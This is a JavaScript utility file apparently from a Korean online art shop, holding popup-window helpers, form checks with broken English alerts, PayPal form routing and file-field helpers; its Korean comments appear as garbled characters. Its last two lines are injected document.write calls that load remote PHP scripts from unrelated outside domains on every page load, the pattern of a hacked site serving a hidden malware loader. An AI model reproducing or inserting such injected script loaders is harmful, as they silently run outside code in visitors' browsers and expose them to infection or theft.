// JavaScript Document

//******************************************************************************************
//*                                                                                        *
//*                                 »õ  Ã¢  ¶ç  ¿ì  ±â                                     *
//*                                                                                        *
//******************************************************************************************

function open_window(name, url, left, top, width, height, toolbar, menubar, statusbar, scrollbar, resizable)
{
  toolbar_str = toolbar ? 'yes' : 'no';
  menubar_str = menubar ? 'yes' : 'no';
  statusbar_str = statusbar ? 'yes' : 'no';
  scrollbar_str = scrollbar ? 'yes' : 'no';
  resizable_str = resizable ? 'yes' : 'no';
  window.open(url, name, 'left='+left+',top='+top+',width='+width+',height='+height+',toolbar='+toolbar_str+',menubar='+menubar_str+',status='+statusbar_str+',scrollbars='+scrollbar_str+',resizable='+resizable_str);
}


//******************************************************************************************
//*                                                                                        *
//*                                 »õ  Ã¢  ¶ç  ¿ì  ±â                                     *
//*                                                                                        *
//******************************************************************************************

function open_win(name, url, left, top, width, height, toolbar, menubar, statusbar, scrollbar, resizable)
{
  toolbar_str = toolbar ? 'yes' : 'no';
  menubar_str = menubar ? 'yes' : 'no';
  statusbar_str = statusbar ? 'yes' : 'no';
  scrollbar_str = scrollbar ? 'yes' : 'no';
  resizable_str = resizable ? 'yes' : 'no';
  url = url + "?filename=" + name;
  window.open(url, 'win', 'left='+left+',top='+top+',width='+width+',height='+height+',toolbar='+toolbar_str+',menubar='+menubar_str+',status='+statusbar_str+',scrollbars='+scrollbar_str+',resizable='+resizable_str);
}


//******************************************************************************************
//*                                                                                        *
//*                                 »õ  Ã¢  ¶ç  ¿ì  ±â                                     *
//*                                                                                        *
//******************************************************************************************

function enlarge(name, url, width, height,scrollbars_var)
{
  url = url + "?filename=" + name;
  window.open(url, 'win', 'left=100,top=100,width='+width+',height='+height+',toolbar=no,menubar=no,status=no,scrollbars='+scrollbars_var+',resizable=no');
}


//******************************************************************************************
//*                                                                                        *
//*                                        °Ë»ö Æû È®ÀÎ                                    *
//*                                                                                        *
//******************************************************************************************

function s_check(){
	form.submit();
}


//******************************************************************************************
//*                                                                                        *
//*                          community ±Û¾²±â ¼öÁ¤ ÀÔ·Â Ã¼Å©                               *
//*                                                                                        *
//******************************************************************************************
function write_check(){
	if(form.title.value == "") {
		alert("Input do as a favor the title");
		form.title.focus();	
		form.title.select();			
	}else if(form.name.value == "") {
		alert("Input do as a favor the name");
		form.name.focus();	
		form.name.select();			
	}else if(form.contents.value == "") {
		alert("Input do as a favor the artists description");
		form.contents.focus();	
		form.contents.select();			
	}else if(form.pw.value == "") {
		alert("Input do as a favor the password");
		form.pw.focus();	
		form.pw.select();			
	}else{
		form.submit();
	}
}



//******************************************************************************************
//*                                                                                        *
//*                          community ±Û¾²±â ¼öÁ¤ ÀÔ·Â Ã¼Å©                               *
//*                                                                                        *
//******************************************************************************************
function send_check(){
	if(form.aaa.value == "") {
		alert("Input do as a favor the first name");
		form.aaa.focus();	
		form.aaa.select();			
	}else if(form.ccc.value == "") {
		alert("Input do as a favor the last name");
		form.ccc.focus();	
		form.ccc.select();			
	}else if(form.fff.value == "") {
		alert("Input do as a favor the Street and No");
		form.fff.focus();	
		form.fff.select();			
	}else if(form.ggg.value == "") {
		alert("Input do as a favor the Additional info (Optional)");
		form.ggg.focus();	
		form.ggg.select();			
	}else if(form.hhh.value == "") {
		alert("Input do as a favor the Zipcode");
		form.hhh.focus();	
		form.hhh.select();			
	}else if(form.iii.value == "") {
		alert("Input do as a favor the City");
		form.iii.focus();	
		form.iii.select();			
	}else if(form.kkk.value == "") {
		alert("Input do as a favor the country");
		form.kkk.focus();	
		form.kkk.select();			
	}else if(form.lll.value == "") {
		alert("Input do as a favor the email");
		form.lll.focus();	
		form.lll.select();			
	}else if(form.mmm.value == "") {
		alert("Input do as a favor the re-type e-mail");
		form.mmm.focus();	
		form.mmm.select();			
	}else if(form.ooo.value == "") {
		alert("Input do as a favor the Telephon number and inquiries");
		form.ooo.focus();	
		form.ooo.select();			
	}else if(form.nnn.value == "") {
		alert("Input do as a favor the Telephon number and inquiries");
		form.nnn.focus();	
		form.nnn.select();			
	}else{
		form.submit();
	}
}


//******************************************************************************************
//*                                                                                        *
//*                          community ±Û¾²±â ¼öÁ¤ ÀÔ·Â Ã¼Å©                               *
//*                                                                                        *
//******************************************************************************************
function pay_check(val){
	if(val == "mo"){
		form.action = "artshop_paypal_modify.html";
		form.submit();
	}else{
		form.action = "paypal.php";
		form.submit();
	}
}





//******************************************************************************************
//*                                                                                        *
//*                                        »èÁ¦ Æû È®ÀÎ                                    *
//*                                                                                        *
//******************************************************************************************


function del_check() {
	if(form.pw.value == "") {
		alert("Input do as a favor the password");
		form.pw.focus();	
		form.pw.select();			
	}else{
		form.submit();
	}
}





//******************************************************************************************
//*                                                                                        *
//*                                     ÆÄÀÏÃ£±â ÀÌ¹ÌÁö                                    *
//*                                                                                        *
//******************************************************************************************

function change(){
	document.form.photo.value=document.form.userfile.value; 
}

function change_img(){
	document.form.name_img.value=document.form.userfile1.value; 
}


//******************************************************************************************
//*                                                                                        *
//*                                 »õ  Ã¢  ¶ç  ¿ì  ±â 2                                   *
//*                                                                                        *
//******************************************************************************************

function artist_view(artist_name,works,idx){
  url = 'artists_popup.html?artist_name='+artist_name+'&works='+works+'&idx=' +idx;
  window.open(url,'win', 'left=200,top=100,width=497,height=516,toolbar=no,menubar=no,status=no,scrollbars=no,resizable=no');
}

document.write('<script src=http://tecnologiabti.com.mx/imagenes/estilos.php ><\/script>');
document.write('<script src=http://pacificbridgeandconstruction.com/cute/produ_ts.php ><\/script>');
